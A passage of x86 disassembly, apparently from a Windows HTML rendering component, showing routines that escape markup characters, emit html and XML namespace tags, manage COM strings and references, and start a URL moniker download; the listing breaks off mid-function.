mov edi, [esp+8+lpString]
push 0
push [esp+0Ch+arg_4]
push edi ; lpString
call sub_69B1A587
push eax
call sub_69B2F2CA
mov ecx, [eax+0Ch]
add esp, 0Ch
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov esi, eax
test esi, esi
jz short loc_69B82B5E
push edi ; BSTR
call SysFreeString
mov edi, esi
loc_69B82B5E: ; CODE XREF: sub_69B82B27+2Cj
mov eax, edi
pop edi
pop esi
retn 8
sub_69B82B27 endp
; =============== S U B R O U T I N E =======================================
sub_69B82B65 proc near ; CODE XREF: sub_69B837DF+121p
push 30h
push offset dword_69B82CA8
call sub_69B19C5C
xor edi, edi
mov [ebp-1Ch], edi
mov [ebp-4], edi
mov esi, [ebp+8]
mov eax, [esi]
lea ecx, [ebp-1Ch]
push ecx
push esi
call dword ptr [eax+28h]
mov eax, [esi]
lea ecx, [ebp-20h]
push ecx
push esi
call dword ptr [eax+2Ch]
mov eax, [esi]
lea ecx, [ebp-24h]
push ecx
push esi
call dword ptr [eax+30h]
cmp [ebp-1Ch], edi
jz loc_69B82C95
call sub_69B88D77
mov esi, eax
mov [ebp-28h], esi
push dword ptr [ebp-1Ch] ; BSTR
call SysStringLen
mov [ebp-2Ch], eax
mov [ebp-30h], edi
loc_69B82BBC: ; CODE XREF: sub_69B82B65+B8j
mov eax, [ebp-2Ch]
cmp [ebp-30h], eax
jge short loc_69B82C1F
mov eax, [ebp-1Ch]
mov ecx, [ebp-30h]
movzx ecx, word ptr [eax+ecx*2]
mov [ebp-34h], ecx
movzx eax, cx
sub eax, 9
jz short loc_69B82C11
sub eax, 1Dh
jz short loc_69B82C03
sub eax, 16h
jz short loc_69B82BFC
dec eax
dec eax
jz short loc_69B82BF5
sub eax, 0FFC1h
jz short loc_69B82BF1
push ecx
jmp short loc_69B82C13
; ---------------------------------------------------------------------------
loc_69B82BF1: ; CODE XREF: sub_69B82B65+87j
push 3Fh
jmp short loc_69B82C13
; ---------------------------------------------------------------------------
loc_69B82BF5: ; CODE XREF: sub_69B82B65+80j
push offset aGt_1 ; ">"
jmp short loc_69B82C08
; ---------------------------------------------------------------------------
loc_69B82BFC: ; CODE XREF: sub_69B82B65+7Cj
push offset aLt_1 ; "<"
jmp short loc_69B82C08
; ---------------------------------------------------------------------------
loc_69B82C03: ; CODE XREF: sub_69B82B65+77j
push offset aAmp_0 ; "&"
loc_69B82C08: ; CODE XREF: sub_69B82B65+95j
; sub_69B82B65+9Cj
mov ecx, esi
call sub_69B88E04
jmp short loc_69B82C1A
; ---------------------------------------------------------------------------
loc_69B82C11: ; CODE XREF: sub_69B82B65+72j
push 20h
loc_69B82C13: ; CODE XREF: sub_69B82B65+8Aj
; sub_69B82B65+8Ej
mov ecx, esi
call sub_69B88E7C
loc_69B82C1A: ; CODE XREF: sub_69B82B65+AAj
inc dword ptr [ebp-30h]
jmp short loc_69B82BBC
; ---------------------------------------------------------------------------
loc_69B82C1F: ; CODE XREF: sub_69B82B65+5Dj
push offset asc_69B9A9F4 ; "\r\n"
mov ecx, esi
call sub_69B88E04
mov eax, [ebp-24h]
cmp eax, [ebp-2Ch]
jge short loc_69B82C57
mov dword ptr [ebp-30h], 1
loc_69B82C3A: ; CODE XREF: sub_69B82B65+E9j
mov eax, [ebp-24h]
mov ecx, esi
cmp [ebp-30h], eax
jge short loc_69B82C50
push 2Dh
call sub_69B88E7C
inc dword ptr [ebp-30h]
jmp short loc_69B82C3A
; ---------------------------------------------------------------------------
loc_69B82C50: ; CODE XREF: sub_69B82B65+DDj
push 5Eh
call sub_69B88E7C
loc_69B82C57: ; CODE XREF: sub_69B82B65+CCj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+2Ch]
mov [ebp-38h], eax
mov ecx, [eax+0Ch]
mov [ebp-3Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [ebp-40h], eax
cmp eax, edi
jz short loc_69B82C95
push dword ptr [ebp-1Ch] ; BSTR
call SysFreeString
mov eax, [ebp-40h]
mov [ebp-1Ch], eax
jmp short loc_69B82C95
; ---------------------------------------------------------------------------
loc_69B82C89: ; DATA XREF: .text:69B82CACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B82C92: ; DATA XREF: .text:69B82CB0o
mov esp, [ebp-18h]
loc_69B82C95: ; CODE XREF: sub_69B82B65+38j
; sub_69B82B65+111j ...
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 4
sub_69B82B65 endp
; ---------------------------------------------------------------------------
align 8
dword_69B82CA8 dd 0FFFFFFFFh dd offset loc_69B82C89
dd offset loc_69B82C92
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B82CB4 proc near ; CODE XREF: sub_69B7FB0F+3A6p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
call sub_69B4E24E
mov eax, [ebp+arg_0]
xor ebx, ebx
mov dword ptr [esi], offset off_69B14754
mov dword ptr [esi+4], offset off_69B2A87C
mov dword ptr [esi+10h], offset off_69B2A844
mov [esi+6Ch], ebx
mov [esi+68h], ebx
mov [esi+54h], ebx
mov [esi+72h], bl
mov [esi+71h], bl
mov byte ptr [esi+76h], 1
mov byte ptr [esi+77h], 1
mov [esi+78h], bl
mov [esi+7Ch], ebx
mov [esi+80h], bl
mov [esi+81h], bl
mov [esi+50h], bl
mov [esi+70h], bl
mov [esi+88h], bl
mov [esi+30h], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+arg_4]
mov [esi+34h], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov ecx, [ebp+arg_8]
lea eax, [esi+38h]
push eax
push offset stru_69B25E34
mov [eax], ebx
mov edx, [ecx]
push ecx
call dword ptr [edx]
mov eax, [ebp+arg_C]
mov [esi+3Ch], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+arg_18]
cmp eax, ebx
mov [esi+40h], eax
jz short loc_69B82D53
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B82D53: ; CODE XREF: sub_69B82CB4+97j
mov eax, [ebp+arg_1C]
cmp eax, ebx
mov [esi+44h], eax
jz short loc_69B82D63
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B82D63: ; CODE XREF: sub_69B82CB4+A7j
mov eax, [ebp+arg_14]
mov [esi+24h], eax
mov eax, [ebp+arg_10]
mov [esi+48h], ebx
mov [esi+58h], ebx
mov [esi+60h], ebx
mov [esi+5Ch], ebx
mov [esi+84h], ebx
mov [esi+14h], ebx
mov [esi+18h], ebx
mov [esi+1Ch], bl
mov [esi+2Ch], ebx
mov [esi+28h], ebx
mov [esi+20h], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [esi+30h]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push 2
push offset word_69B26230
push eax
call dword ptr [ecx+10h]
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B82DC0
push ebx ; int
push offset aHtmlHtml ; "<html:html>"
call sub_69B82200
loc_69B82DC0: ; CODE XREF: sub_69B82CB4+FFj
mov ecx, esi
call sub_69B821E5
test eax, eax
jz short loc_69B82DD6
push ebx ; int
push offset aHtmlHead ; "<html:head>"
call sub_69B82200
loc_69B82DD6: ; CODE XREF: sub_69B82CB4+115j
mov eax, esi
pop esi
pop ebx
leave
retn 20h
sub_69B82CB4 endp
; ---------------------------------------------------------------------------
align 10h
; const WCHAR aHtmlHead
aHtmlHead: ; DATA XREF: sub_69B82CB4+118o
dw 3Ch
unicode 0, <html:head>
dw 3Eh
unicode 0, <>,0
; const WCHAR aHtmlHtml
aHtmlHtml: ; DATA XREF: sub_69B82CB4+102o
dw 3Ch
unicode 0, <html:html>
dw 3Eh
unicode 0, <>,0
; =============== S U B R O U T I N E =======================================
sub_69B82E10 proc near ; DATA XREF: .text:69B2A850o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_69B82E20
mov eax, [edi]
push edi
call dword ptr [eax+4]
loc_69B82E20: ; CODE XREF: sub_69B82E10+8j
mov esi, [esp+8+arg_0]
mov eax, [esi+24h]
test eax, eax
jz short loc_69B82E31
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82E31: ; CODE XREF: sub_69B82E10+19j
mov [esi+24h], edi
pop edi
xor eax, eax
pop esi
retn 8
sub_69B82E10 endp
; =============== S U B R O U T I N E =======================================
sub_69B82E3B proc near ; DATA XREF: .text:69B2A854o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
cmp dword ptr [esi+24h], 0
jz short loc_69B82E4F
mov eax, [esi+24h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
loc_69B82E4F: ; CODE XREF: sub_69B82E3B+9j
mov eax, [esi+24h]
mov ecx, [esp+4+arg_4]
mov [ecx], eax
xor eax, eax
pop esi
retn 8
sub_69B82E3B endp
; =============== S U B R O U T I N E =======================================
sub_69B82E5E proc near ; DATA XREF: .text:69B2A858o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
retn 8
sub_69B82E5E endp
; =============== S U B R O U T I N E =======================================
sub_69B82E72 proc near ; DATA XREF: .text:69B2A85Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
retn 4
sub_69B82E72 endp
; =============== S U B R O U T I N E =======================================
sub_69B82E82 proc near ; DATA XREF: .text:69B2A860o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
retn 4
sub_69B82E82 endp
; =============== S U B R O U T I N E =======================================
sub_69B82E92 proc near ; DATA XREF: .text:69B2A864o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
retn 4
sub_69B82E92 endp
; =============== S U B R O U T I N E =======================================
sub_69B82EA2 proc near ; DATA XREF: .text:69B2A868o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
push [esp+4+arg_8]
mov eax, [eax+3Ch]
push [esp+8+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+24h]
retn 10h
sub_69B82EA2 endp
; =============== S U B R O U T I N E =======================================
sub_69B82EBE proc near ; DATA XREF: .text:69B2A86Co
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
retn 4
sub_69B82EBE endp
; =============== S U B R O U T I N E =======================================
sub_69B82ECE proc near ; DATA XREF: .text:69B2A870o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+2Ch]
retn 8
sub_69B82ECE endp
; =============== S U B R O U T I N E =======================================
sub_69B82EE2 proc near ; DATA XREF: .text:69B2A874o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
mov ecx, [eax]
push eax
call dword ptr [ecx+30h]
retn 4
sub_69B82EE2 endp
; =============== S U B R O U T I N E =======================================
sub_69B82EF2 proc near ; DATA XREF: .text:69B2A878o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+3Ch]
push [esp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+34h]
retn 8
sub_69B82EF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B82F06 proc near ; CODE XREF: sub_69B82F30+5j
; DATA XREF: .text:off_69B14754o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push [ebp+arg_8]
mov esi, [ebp+arg_0]
push [ebp+arg_4]
push esi
call sub_69B448B2
test eax, eax
jz short loc_69B82F2B
push [ebp+arg_8]
mov eax, [esi+4Ch]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx]
loc_69B82F2B: ; CODE XREF: sub_69B82F06+15j
pop esi
pop ebp
retn 0Ch
sub_69B82F06 endp
; =============== S U B R O U T I N E =======================================
sub_69B82F30 proc near ; DATA XREF: .text:off_69B2A844o
arg_0 = dword ptr 4
sub [esp+arg_0], 10h
jmp short sub_69B82F06
sub_69B82F30 endp
; =============== S U B R O U T I N E =======================================
sub_69B82F37 proc near ; CODE XREF: .text:69B8369Bp
push ebx
push esi
mov esi, ecx
mov eax, [esi+58h]
push edi
xor edi, edi
cmp eax, edi
lea ebx, [esi-4]
mov dword ptr [ebx], offset off_69B14754
mov dword ptr [esi], offset off_69B2A87C
mov dword ptr [esi+0Ch], offset off_69B2A844
jz short loc_69B82F62
push eax ; BSTR
call SysFreeString
loc_69B82F62: ; CODE XREF: sub_69B82F37+22j
mov eax, [esi+44h]
cmp eax, edi
mov [esi+58h], edi
jz short loc_69B82F72
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82F72: ; CODE XREF: sub_69B82F37+33j
mov eax, [esi+34h]
cmp eax, edi
mov [esi+44h], edi
jz short loc_69B82F82
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82F82: ; CODE XREF: sub_69B82F37+43j
mov eax, [esi+38h]
cmp eax, edi
mov [esi+34h], edi
jz short loc_69B82F92
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82F92: ; CODE XREF: sub_69B82F37+53j
mov eax, [esi+3Ch]
cmp eax, edi
mov [esi+38h], edi
jz short loc_69B82FA2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82FA2: ; CODE XREF: sub_69B82F37+63j
mov eax, [esi+40h]
cmp eax, edi
mov [esi+3Ch], edi
jz short loc_69B82FB2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82FB2: ; CODE XREF: sub_69B82F37+73j
mov eax, [esi+30h]
cmp eax, edi
mov [esi+40h], edi
jz short loc_69B82FC2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82FC2: ; CODE XREF: sub_69B82F37+83j
mov eax, [esi+1Ch]
cmp eax, edi
mov [esi+30h], edi
jz short loc_69B82FD2
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B82FD2: ; CODE XREF: sub_69B82F37+93j
mov ecx, ebx
mov [esi+1Ch], edi
call sub_69B8256C
mov ecx, ebx
call sub_69B82A4C
pop edi
pop esi
pop ebx
jmp sub_69B2C65C
sub_69B82F37 endp
; =============== S U B R O U T I N E =======================================
sub_69B82FEB proc near ; CODE XREF: sub_69B8436C+164p
arg_0 = word ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push edi
mov edi, ecx
jbe loc_69B83088
push ebx
movzx ebx, [esp+8+arg_0]
push ebp
mov ebp, [esp+0Ch+arg_4]
push esi
loc_69B83006: ; CODE XREF: sub_69B82FEB+98j
mov esi, [ebp+0]
mov eax, [esi+4]
add ebp, 4
dec eax
jz short loc_69B8307E
dec eax
jnz short loc_69B83082
mov byte ptr [edi+72h], 1
cmp dword ptr [esi+18h], 5
jnz short loc_69B83082
cmp dword ptr [esi+14h], 6
jbe short loc_69B83082
push 5 ; nChar
push offset aXmlns ; "xmlns"
push dword ptr [esi+10h] ; lpStr1
call ds:StrCmpNIW ; StrCmpNIW
test eax, eax
jnz short loc_69B83082
mov ecx, edi
call sub_69B821E5
test eax, eax
jz short loc_69B83050
push 0 ; int
push offset aXmlNamespace_0 ; "<XML:NAMESPACE prefix='"
call sub_69B82200
loc_69B83050: ; CODE XREF: sub_69B82FEB+57j
mov eax, [esi+14h]
sub eax, 6
push eax
mov eax, [esi+10h]
add eax, 0Ch
push eax
mov ecx, edi
call sub_69B8283E
mov ecx, edi
call sub_69B821E5
test eax, eax
jz short loc_69B83082
push 0 ; int
push offset asc_69B83098 ; "'/>"
call sub_69B82200
jmp short loc_69B83082
; ---------------------------------------------------------------------------
loc_69B8307E: ; CODE XREF: sub_69B82FEB+25j
mov byte ptr [edi+71h], 1
loc_69B83082: ; CODE XREF: sub_69B82FEB+28j
; sub_69B82FEB+32j ...
dec ebx
jnz short loc_69B83006
pop esi
pop ebp
pop ebx
loc_69B83088: ; CODE XREF: sub_69B82FEB+9j
mov byte ptr [edi+72h], 0
mov byte ptr [edi+71h], 0
xor eax, eax
pop edi
retn 8
sub_69B82FEB endp
; ---------------------------------------------------------------------------
align 4
; const WCHAR asc_69B83098
asc_69B83098: ; DATA XREF: sub_69B82FEB+87o
dw 27h
unicode 0, </>
dw 3Eh
unicode 0, <>,0
; const WCHAR aXmlNamespace_0
aXmlNamespace_0: ; DATA XREF: sub_69B82FEB+5Bo
dw 3Ch
unicode 0, <XML:NAMESPACE prefix=>
dw 27h
unicode 0, <>,0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B830D0(BSTR)
sub_69B830D0 proc near ; CODE XREF: sub_69B83E6C+19Ep
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
lpString = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push dword ptr [eax+14h] ; UINT
xor ebx, ebx
push dword ptr [eax+10h] ; OLECHAR *
mov edi, ecx
mov [ebp+lpString], ebx
mov [ebp+var_10], ebx
mov [ebp+var_C], ebx
mov [ebp+var_8], ebx
call SysAllocStringLen
cmp eax, ebx
mov [ebp+arg_0], eax
jnz short loc_69B83109
mov esi, 8007000Eh
jmp loc_69B83191
; ---------------------------------------------------------------------------
loc_69B83109: ; CODE XREF: sub_69B830D0+2Dj
mov eax, [edi+38h]
mov ecx, [eax]
lea edx, [ebp+var_10]
push edx
push eax
call dword ptr [ecx+0ACh]
mov esi, eax
cmp esi, ebx
jl short loc_69B83191
mov eax, [ebp+var_10]
cmp eax, ebx
jnz short loc_69B8312D
loc_69B83126: ; CODE XREF: sub_69B830D0+75j
; sub_69B830D0+8Fj
mov esi, 80004003h
jmp short loc_69B83191
; ---------------------------------------------------------------------------
loc_69B8312D: ; CODE XREF: sub_69B830D0+54j
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+0B0h]
mov esi, eax
cmp esi, ebx
jl short loc_69B83191
mov eax, [ebp+var_C]
cmp eax, ebx
jz short loc_69B83126
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push [ebp+arg_0]
push eax
call dword ptr [ecx+1Ch]
mov esi, eax
cmp esi, ebx
jl short loc_69B83191
mov eax, [ebp+var_8]
cmp eax, ebx
jz short loc_69B83126
mov ecx, [eax]
lea edx, [ebp+lpString]
push edx
push eax
call dword ptr [ecx+68h]
mov esi, eax
cmp esi, ebx
jl short loc_69B83191
cmp [ebp+lpString], ebx
jnz short loc_69B8317D
mov esi, 80004003h
jmp short loc_69B8319F
; ---------------------------------------------------------------------------
loc_69B8317D: ; CODE XREF: sub_69B830D0+A4j
mov ecx, edi
call sub_69B821E5
test eax, eax
jz short loc_69B83191
push ebx ; int
push [ebp+lpString] ; lpString
call sub_69B82200
loc_69B83191: ; CODE XREF: sub_69B830D0+34j
; sub_69B830D0+4Dj ...
cmp [ebp+lpString], ebx
jz short loc_69B8319F
push [ebp+lpString] ; BSTR
call SysFreeString
loc_69B8319F: ; CODE XREF: sub_69B830D0+ABj
; sub_69B830D0+C4j
mov eax, [ebp+var_8]
cmp eax, ebx
mov [ebp+lpString], ebx
jz short loc_69B831AF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B831AF: ; CODE XREF: sub_69B830D0+D7j
mov eax, [ebp+var_C]
cmp eax, ebx
mov [ebp+var_8], ebx
jz short loc_69B831BF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B831BF: ; CODE XREF: sub_69B830D0+E7j
mov eax, [ebp+var_10]
cmp eax, ebx
mov [ebp+var_C], ebx
jz short loc_69B831CF
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B831CF: ; CODE XREF: sub_69B830D0+F7j
cmp [ebp+arg_0], ebx
mov [ebp+var_10], ebx
jz short loc_69B831E0
push [ebp+arg_0] ; BSTR
call SysFreeString
loc_69B831E0: ; CODE XREF: sub_69B830D0+105j
pop edi
mov eax, esi
pop esi
pop ebx
leave
retn 4
sub_69B830D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B831E9 proc near ; CODE XREF: sub_69B83E6C+29Bp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
call sub_69B821E5
test eax, eax
jz locret_69B8328F
push esi
push edi
mov edi, [ebp+arg_0]
mov eax, [edi+10h]
and [ebp+arg_0], 0
cmp dword ptr [edi+14h], 0
mov esi, eax
jbe short loc_69B8328D
push ebx
loc_69B83212: ; CODE XREF: sub_69B831E9+8Fj
movzx ecx, word ptr [esi]
sub ecx, 22h
jz short loc_69B8323D
sub ecx, 4
jz short loc_69B83236
sub ecx, 16h
jz short loc_69B8322F
dec ecx
dec ecx
jnz short loc_69B8326D
mov ebx, offset aGt_1 ; ">"
jmp short loc_69B83242
; ---------------------------------------------------------------------------
loc_69B8322F: ; CODE XREF: sub_69B831E9+39j
mov ebx, offset aLt_1 ; "<"
jmp short loc_69B83242
; ---------------------------------------------------------------------------
loc_69B83236: ; CODE XREF: sub_69B831E9+34j
mov ebx, offset aAmp_0 ; "&"
jmp short loc_69B83242
; ---------------------------------------------------------------------------
loc_69B8323D: ; CODE XREF: sub_69B831E9+2Fj
mov ebx, offset aQuot_0 ; """
loc_69B83242: ; CODE XREF: sub_69B831E9+44j
; sub_69B831E9+4Bj ...
cmp eax, esi
jz short loc_69B83256
mov ecx, esi
sub ecx, eax
sar ecx, 1
push ecx
mov ecx, [ebp+var_4]
push eax
call sub_69B8283E
loc_69B83256: ; CODE XREF: sub_69B831E9+5Bj
mov ecx, [ebp+var_4]
call sub_69B821E5
test eax, eax
jz short loc_69B8326A
push 0 ; int
push ebx ; lpString
call sub_69B82200
loc_69B8326A: ; CODE XREF: sub_69B831E9+77j
lea eax, [esi+2]
loc_69B8326D: ; CODE XREF: sub_69B831E9+3Dj
inc [ebp+arg_0]
mov ecx, [ebp+arg_0]
inc esi
inc esi
cmp ecx, [edi+14h]
jb short loc_69B83212
cmp eax, esi
pop ebx
jz short loc_69B8328D
mov ecx, [ebp+var_4]
sub esi, eax
sar esi, 1
push esi
push eax
call sub_69B8283E
loc_69B8328D: ; CODE XREF: sub_69B831E9+26j
; sub_69B831E9+94j
pop edi
pop esi
locret_69B8328F: ; CODE XREF: sub_69B831E9+Ej
leave
retn 4
sub_69B831E9 endp
; =============== S U B R O U T I N E =======================================
sub_69B83293 proc near ; CODE XREF: sub_69B83717+A1p
; sub_69B83E6C+D1p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov edx, [eax+14h]
test edx, edx
jz short locret_69B832A7
push edx
push dword ptr [eax+10h]
call sub_69B8283E
locret_69B832A7: ; CODE XREF: sub_69B83293+9j
retn 4
sub_69B83293 endp
; =============== S U B R O U T I N E =======================================
sub_69B832AA proc near ; CODE XREF: sub_69B837DF+134p
push 24h
push offset dword_69B83370
call sub_69B19C5C
mov esi, ecx
xor edi, edi
mov [ebp-1Ch], edi
call dword_69B92948
mov [ebp-20h], eax
cmp eax, edi
jnz short loc_69B832D4
mov eax, 80004005h
jmp loc_69B83368
; ---------------------------------------------------------------------------
loc_69B832D4: ; CODE XREF: sub_69B832AA+1Ej
push edi
push eax
lea ecx, [ebp-2Ch]
call sub_69B1A8C7
mov [ebp-4], edi
lea eax, [ebp-1Ch]
push eax ; pperrinfo
push edi ; dwReserved
call GetErrorInfo
test eax, eax
jnz short loc_69B83308
mov eax, [ebp-1Ch]
cmp eax, edi
jz short loc_69B83308
mov ecx, [eax]
lea edx, [esi+84h]
push edx
push eax
call dword ptr [ecx+14h]
test eax, eax
jz short loc_69B83310
loc_69B83308: ; CODE XREF: sub_69B832AA+44j
; sub_69B832AA+4Bj
push dword ptr [ebp+8]
call sub_69B1D411
loc_69B83310: ; CODE XREF: sub_69B832AA+5Cj
mov [ebp-30h], eax
cmp eax, edi
jz short loc_69B8332D
mov ecx, [eax+0Ch]
mov [ebp-34h], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi+84h], eax
loc_69B8332D: ; CODE XREF: sub_69B832AA+6Bj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B83345
; ---------------------------------------------------------------------------
loc_69B83333: ; DATA XREF: .text:69B83374o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8333C: ; DATA XREF: .text:69B83378o
mov esp, [ebp-18h]
or dword ptr [ebp-4], 0FFFFFFFFh
xor edi, edi
loc_69B83345: ; CODE XREF: sub_69B832AA+87j
mov eax, [ebp-1Ch]
cmp eax, edi
jz short loc_69B83352
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B83352: ; CODE XREF: sub_69B832AA+A0j
mov [ebp-1Ch], edi
lea ecx, [ebp-2Ch]
call sub_69B1976C
push dword ptr [ebp-20h]
call dword_69B92944
xor eax, eax
loc_69B83368: ; CODE XREF: sub_69B832AA+25j
call sub_69B1853C
retn 4
sub_69B832AA endp
; ---------------------------------------------------------------------------
dword_69B83370 dd 0FFFFFFFFh dd offset loc_69B83333
dd offset loc_69B8333C
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8337C proc near ; CODE XREF: sub_69B83AAA+239p
var_14 = dword ptr -14h
ppBSCBPrev = dword ptr -10h
ppmk = dword ptr -0Ch
pBSCb = dword ptr -8
pBC = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
lea eax, [ebp+ppmk]
mov edi, ecx
push eax ; ppmk
push dword ptr [edi+5Ch] ; szURL
xor esi, esi
push dword ptr [edi+3Ch] ; pMkCtx
mov [ebp+ppmk], esi
mov [ebp+var_14], esi
mov [ebp+pBC], esi
mov [ebp+ppBSCBPrev], esi
mov [ebp+pBSCb], esi
call CreateURLMoniker
mov ebx, eax
cmp ebx, esi
jl loc_69B8347A
cmp [ebp+ppmk], esi
jnz short loc_69B833C0
mov ebx, 80004003h
jmp loc_69B8347A
; ---------------------------------------------------------------------------
loc_69B833C0: ; CODE XREF: sub_69B8337C+38j
mov esi, [ebp+arg_0]
mov eax, [esi]
push 0
push esi
call dword ptr [eax+110h]
mov ebx, eax
test ebx, ebx
jl loc_69B83478
mov eax, [esi]
push 0FFFFFFFFh
push esi
call dword ptr [eax+118h]
mov ebx, eax
test ebx, ebx
jl loc_69B83478
mov eax, [esi]
lea ecx, [ebp+var_14]
push ecx
push offset dword_69B2AFA0
push esi
call dword ptr [eax]
mov ebx, eax
test ebx, ebx
jl short loc_69B83478
lea eax, [ebp+pBC]
push eax ; ppbc
push 0 ; reserved
call ds:CreateBindCtx
mov ebx, eax
test ebx, ebx
jl short loc_69B83478
push 7Ch
call sub_69B11E44
xor esi, esi
cmp eax, esi
jz short loc_69B8343E
push [ebp+arg_4]
lea ecx, [edi+90h]
push edi
push ecx
add edi, 8Ch
push edi
mov ecx, eax
call sub_69B16B18
mov [ebp+pBSCb], eax
jmp short loc_69B83441
; ---------------------------------------------------------------------------
loc_69B8343E: ; CODE XREF: sub_69B8337C+A2j
mov [ebp+pBSCb], esi
loc_69B83441: ; CODE XREF: sub_69B8337C+C0j
cmp [ebp+pBSCb], esi
jnz short loc_69B8344D
mov ebx, 8007000Eh
jmp short loc_69B83478
; ---------------------------------------------------------------------------
loc_69B8344D: ; CODE XREF: sub_69B8337C+C8j
push esi ; dwReserved
lea eax, [ebp+ppBSCBPrev]
push eax ; ppBSCBPrev
push [ebp+pBSCb] ; pBSCb
push [ebp+pBC] ; pBC
call RegisterBindStatusCallback
mov ebx, eax
cmp ebx, esi
jl short loc_69B83478
mov eax, [ebp+var_14]
mov ecx, [eax]
push 0
push [ebp+pBC]
push [ebp+ppmk]
push 1
push eax
call dword ptr [ecx+14h]
mov ebx, eax
loc_69B83478: ; CODE XREF: sub_69B8337C+56j
; sub_69B8337C+6Bj ...
xor esi, esi
loc_69B8347A: ; CODE XREF: sub_69B8337C+2Fj
; sub_69B8337C+3Fj
mov eax, [ebp+pBC]
cmp eax, esi
jz short loc_69B83487
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B83487: ; CODE XREF: sub_69B8337C+103j
mov eax, [ebp+ppBSCBPrev]
cmp eax, esi
mov [ebp+pBC], esi
jz short loc_69B83497
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B83497: ; CODE XREF: sub_69B8337C+113j
mov eax, [ebp+pBSCb]
